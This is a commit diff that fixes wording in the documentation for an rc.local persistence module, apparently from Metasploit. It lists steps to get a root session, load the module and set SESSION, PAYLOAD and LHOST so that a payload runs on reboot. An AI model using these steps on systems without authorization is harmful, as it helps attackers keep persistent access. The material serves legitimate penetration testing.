Fix documentation wording
parent
703f94d981
commit
01e6362828
|
@ -1,17 +1,17 @@
|
||||||
## rc.local Persistence
|
## rc.local Persistence
|
||||||
|
|
||||||
This module patch `/etc/rc.local` in order to launch a payload upon reboots.
|
This module patches `/etc/rc.local` in order to launch a payload upon reboot.
|
||||||
|
|
||||||
> Sometimes `/etc/rc.local` is runned when the network is not yet on, make sure your payload won't quit if that's the case.
|
> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case.
|
||||||
|
|
||||||
|
|
||||||
### Verification
|
### Verification
|
||||||
|
|
||||||
1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
|
1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
|
||||||
2. `use exploit/linux/local/rc_local_persistence`
|
2. `use exploit/linux/local/rc_local_persistence`
|
||||||
3. `set SESSION #`
|
3. `set SESSION <session>`
|
||||||
4. `set PAYLOAD #`
|
4. `set PAYLOAD <payload>`
|
||||||
5. `set LHOST ##`
|
5. `set LHOST <lhost>`
|
||||||
6. `exploit`
|
6. `exploit`
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue